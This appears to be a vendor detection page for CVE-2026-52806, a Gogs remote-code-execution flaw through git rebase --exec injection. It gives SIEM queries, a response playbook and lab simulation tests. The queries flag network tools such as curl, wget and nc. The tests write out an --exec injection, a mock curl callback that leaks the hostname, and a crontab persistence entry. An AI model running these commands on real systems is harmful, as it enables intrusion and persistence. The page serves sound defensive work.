CVE-2026-52806

CVE-2026-52806: Gogs RCE via git rebase --exec Argument Injection in PR Merge

Execution Persistence Lateral Movement Last updated:

Detects exploitation of CVE-2026-52806, a critical command injection vulnerability (CWE-77) in Gogs versions prior to 0.14.3. An attacker can inject arbitrary shell commands via the git rebase --exec argument during pull request merge operations, leading to remote code execution on the Gogs server. A public PoC is available.

Vulnerability Intelligence

Public PoC

Affected Software

Vendor
go
Product
gogs.io/gogs
Versions
< 0.14.3

Weakness (CWE)

CWE-77

Timeline

Disclosed
June 23, 2026

CVSS

9.9
Critical (9.0–10)
CVSS vector not yet published
Read the write-up →

What is CVE-2026-52806 CVE-2026-52806: Gogs RCE via git rebase --exec Argument Injection in PR Merge?

CVE-2026-52806: Gogs RCE via git rebase --exec Argument Injection in PR Merge (CVE-2026-52806) maps to the Execution and Persistence and Lateral Movement tactics — the adversary is trying to run malicious code in MITRE ATT&CK.

This page provides production-ready detection logic for CVE-2026-52806: Gogs RCE via git rebase --exec Argument Injection in PR Merge, covering the data sources and telemetry it touches: Microsoft Defender for Endpoint, Azure Monitor Agent, Windows Security Events. The queries below are rated critical severity at high confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Execution Persistence Lateral Movement
Microsoft Sentinel / Defender
kusto 
union DeviceProcessEvents, SecurityEvent
| where TimeGenerated > ago(24h)
| where (InitiatingProcessCommandLine has "git" and ProcessCommandLine has "rebase" and ProcessCommandLine has "--exec")
   or (ProcessCommandLine has "git" and ProcessCommandLine has "rebase" and ProcessCommandLine has "--exec")
   or (ParentProcessName has_any ("gogs", "gogs.exe") and ProcessCommandLine has_any ("bash", "sh", "cmd", "powershell", "python", "perl", "curl", "wget", "nc", "ncat"))
| extend SuspiciousExec = case(
    ProcessCommandLine has "--exec" and ProcessCommandLine matches regex @"--exec[= ]['\"]?[^'\"]+[;&|`$]", "ArgumentInjection",
    ParentProcessName has_any ("gogs", "gogs.exe") and ProcessCommandLine has_any ("curl", "wget", "nc"), "SuspiciousChildProcess",
    "Other"
  )
| where SuspiciousExec != "Other"
| project TimeGenerated, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine, ParentProcessName, SuspiciousExec

Detects git rebase --exec argument injection spawned by or related to Gogs processes, as well as suspicious child processes (reverse shells, downloaders) spawned from Gogs parent processes. Covers both Windows and Linux host telemetry via Defender for Endpoint and Security Events.

critical severity high confidence

Data Sources

Microsoft Defender for Endpoint Azure Monitor Agent Windows Security Events

Required Tables

DeviceProcessEvents SecurityEvent

False Positives

  • Legitimate developers using git rebase --exec locally on dev machines where Gogs is installed
  • CI/CD pipelines running git rebase operations with --exec flags for automated testing
  • System administrators running git maintenance scripts under Gogs service accounts

Sigma rule & cross-platform mapping

The detection logic for CVE-2026-52806: Gogs RCE via git rebase --exec Argument Injection in PR Merge (CVE-2026-52806) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource: 

logsource:
  category: process_creation
  product: windows

Browse the community-maintained Sigma rules for this technique:

SigmaHQ rules for CVE-2026-52806 Sigma rules on detection.fyi

Platform-specific guides for CVE-2026-52806

Detect in Microsoft Sentinel (KQL) Detect in Splunk (SPL) Detect in Elastic Security (Elastic) Detect in IBM QRadar (QRadar) Detect in Sumo Logic CSE (Sumo) Detect in Google Chronicle (YARA-L) Detect in CrowdStrike LogScale (LogScale)
Last updated: 2026-07-21 Research depth: standard
References (5)

Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Simulate git rebase --exec argument injection via crafted PR branch name

    Expected signal: Process creation event: git with args [rebase, --exec, id > /tmp/cve_rce_proof.txt, target]; child process creation: sh -c 'id > /tmp/cve_rce_proof.txt'; file creation event at /tmp/cve_rce_proof.txt

  2. Test 2Gogs suspicious child process simulation — reverse shell via curl

    Expected signal: Process creation event showing bash or curl with parent process name 'gogs'; network connection attempt from gogs-named process to 127.0.0.1:9999

  3. Test 3Persistence via cron injection post-Gogs RCE simulation

    Expected signal: Process creation: git rebase --exec with crontab modification command; crontab process invocation; file write to /tmp/cve_persist_marker.txt; audit log entry for crontab modification

Response Playbook

Triage

  1. Identify the Gogs server version immediately: check the Gogs admin panel at /admin or via `gogs --version` on the host. Confirm whether the instance is running < 0.14.3.
  2. Examine Gogs application logs (`gogs/log/gogs.log` or configured log path) for pull request merge activity immediately preceding any alert, focusing on PR IDs and contributor accounts.
  3. Review process trees on the Gogs host for any child processes of gogs/gogs.exe spawning shells, network utilities (curl, wget, nc), or interpreters (python, perl) within the alert window.
  4. Check network connections from the Gogs host for unexpected outbound connections (potential reverse shell callbacks) using `ss -tnp` or equivalent, especially to non-standard ports or external IPs.

Containment

  1. Immediately isolate the Gogs host from external network access if active RCE is confirmed or strongly suspected — block outbound internet access at the firewall/NSG while preserving internal network for investigation.
  2. Disable the Gogs service (`systemctl stop gogs` or equivalent) and revoke all active Gogs session tokens by invalidating the application secret. This terminates any attacker-established sessions.
  3. Force-rotate all Gogs user credentials and API tokens, prioritizing admin accounts. Audit for any newly created admin or service accounts post-exploitation.

Evidence Collection

  1. Capture a full memory dump of the Gogs process and any spawned child processes before shutting down the service, using tools such as `gcore`, `procdump`, or equivalent for forensic analysis.
  2. Archive Gogs application logs, git repository audit logs, OS auth logs (`/var/log/auth.log`, `/var/log/secure`, Windows Security Event Log), and EDR telemetry for the 48-hour window preceding the alert.
  3. Collect filesystem artifacts: recently modified files in the Gogs data directory, git repository working directories, and any web shells or new executables written during the exploitation window (`find / -newer /tmp/ref -type f 2>/dev/null`).

Escalation Criteria

  • ! Escalate to incident commander immediately if evidence of lateral movement from the Gogs host is found, including authentication attempts against internal services using credentials likely harvested from Gogs repositories or configs.
  • ! Escalate if any git repositories hosted on the compromised Gogs instance contain secrets (API keys, private keys, credentials) that may have been exfiltrated — treat all hosted repo contents as potentially compromised and notify stakeholders.

Investigation Guide

Forensic Artifacts

  • > Gogs application log entries showing pull request merge events with unusual branch names or rebase arguments: `gogs/log/gogs.log`
  • > OS process audit records (auditd, Sysmon Event ID 1) showing git process with `rebase --exec` arguments spawned under the Gogs service account UID
  • > Network connection logs (netflow, NSG flow logs) showing unexpected outbound connections from the Gogs server IP to external hosts post-merge event
  • > Git reflog entries in the target repository showing unusual rebase operations or refs created during the exploit window
  • > Filesystem changes: new executables, cron entries, SSH authorized_keys modifications, or web shells written under paths writable by the Gogs service account

Tuning Guidance

Start by scoping detections to hosts where Gogs is deployed to reduce noise. Establish a baseline of legitimate git rebase --exec usage in your environment (common in CI workflows). Whitelist known CI service account usernames and controlled runner hostnames. For the child-process rules, build an allowlist of binaries legitimately spawned by the Gogs process (e.g., git, ssh) and alert only on deviations. Increase confidence thresholds in environments where Gogs is updated to >= 0.14.3 — detections remain valuable for unpatched instances and backdoor persistence post-exploitation.

Hunting Queries

Threat hunt for all git rebase invocations on Gogs hosts over the past 7 days to identify historic exploitation attempts or baseline unusual rebase usage patterns.

Hunting — KQL
kql 
DeviceProcessEvents
| where TimeGenerated > ago(7d)
| where InitiatingProcessFileName has_any ("gogs", "git")
| where ProcessCommandLine has "rebase"
| summarize count(), make_set(ProcessCommandLine), make_set(DeviceName) by InitiatingProcessFileName, bin(TimeGenerated, 1h)
| where count_ > 0
| order by TimeGenerated desc
Hunting — SPL
spl 
index=endpoint sourcetype IN ("crowdstrike:events:sensor", "xmlwineventlog")
| eval cmd=coalesce(CommandLine, process)
| where match(lower(cmd), "rebase")
| stats count by host, cmd, _time
| sort -count

Atomic Red Team Tests

Test 1 Simulate git rebase --exec argument injection via crafted PR branch name
linux

Simulates the CVE-2026-52806 attack vector by invoking git rebase with an --exec flag containing a shell command injection payload, as would occur during a malicious Gogs PR merge. Run in an isolated lab environment only.

Command

bash 
mkdir -p /tmp/cve_2026_52806_test && cd /tmp/cve_2026_52806_test && git init && git commit --allow-empty -m 'base' && git checkout -b target && git commit --allow-empty -m 'target' && git checkout master 2>/dev/null || git checkout main && git rebase --exec 'id > /tmp/cve_rce_proof.txt' target

Cleanup

bash 
rm -rf /tmp/cve_2026_52806_test /tmp/cve_rce_proof.txt

Expected Telemetry

Process creation event: git with args [rebase, --exec, id > /tmp/cve_rce_proof.txt, target]; child process creation: sh -c 'id > /tmp/cve_rce_proof.txt'; file creation event at /tmp/cve_rce_proof.txt

Expected Detection

Alert on git rebase --exec invocation with shell metacharacters in exec argument; alert on sh child process spawned from git parent

Test 2 Gogs suspicious child process simulation — reverse shell via curl
linux

Simulates post-exploitation behavior where an attacker's injected command spawns a network callback (simulated reverse shell initiation) from a process tree parented by a mock Gogs process. Tests child-process detection rules.

Command

bash 
cat > /tmp/fake_gogs.sh << 'EOF'
#!/bin/bash
exec -a gogs bash -c 'curl -s http://127.0.0.1:9999/callback?host=$(hostname) || true'
EOF
chmod +x /tmp/fake_gogs.sh && /tmp/fake_gogs.sh

Cleanup

bash 
rm -f /tmp/fake_gogs.sh

Expected Telemetry

Process creation event showing bash or curl with parent process name 'gogs'; network connection attempt from gogs-named process to 127.0.0.1:9999

Expected Detection

Alert on suspicious child process (curl/bash) spawned from parent named 'gogs'; potential alert on network connection from Gogs process to non-standard port

Test 3 Persistence via cron injection post-Gogs RCE simulation
linux

Simulates attacker establishing persistence after RCE by adding a crontab entry via injected git rebase --exec command, mimicking a common post-exploitation step following Gogs exploitation.

Command

bash 
git -C /tmp init /tmp/cve_persist_test 2>/dev/null; cd /tmp/cve_persist_test && git commit --allow-empty -m 'x' && git rebase --exec '(crontab -l 2>/dev/null; echo "* * * * * /tmp/evil.sh") | crontab - ; echo rce_persist_test > /tmp/cve_persist_marker.txt' HEAD~0 2>/dev/null || true

Cleanup

bash 
crontab -l 2>/dev/null | grep -v '/tmp/evil.sh' | crontab - ; rm -f /tmp/cve_persist_marker.txt /tmp/evil.sh; rm -rf /tmp/cve_persist_test

Expected Telemetry

Process creation: git rebase --exec with crontab modification command; crontab process invocation; file write to /tmp/cve_persist_marker.txt; audit log entry for crontab modification

Expected Detection

Alert on git rebase --exec with shell metacharacters; alert on crontab modification event following git process activity; file creation alert for marker file

Related Detections

Tactic Hubs

TA0002ExecutionTA0003PersistenceTA0008Lateral Movement

Related Techniques

T1190Exploit Public-Facing ApplicationT1059Command and Scripting InterpreterT1072Software Deployment ToolsT1505.003Web Shell

Same Tactic: Execution

Popular Detections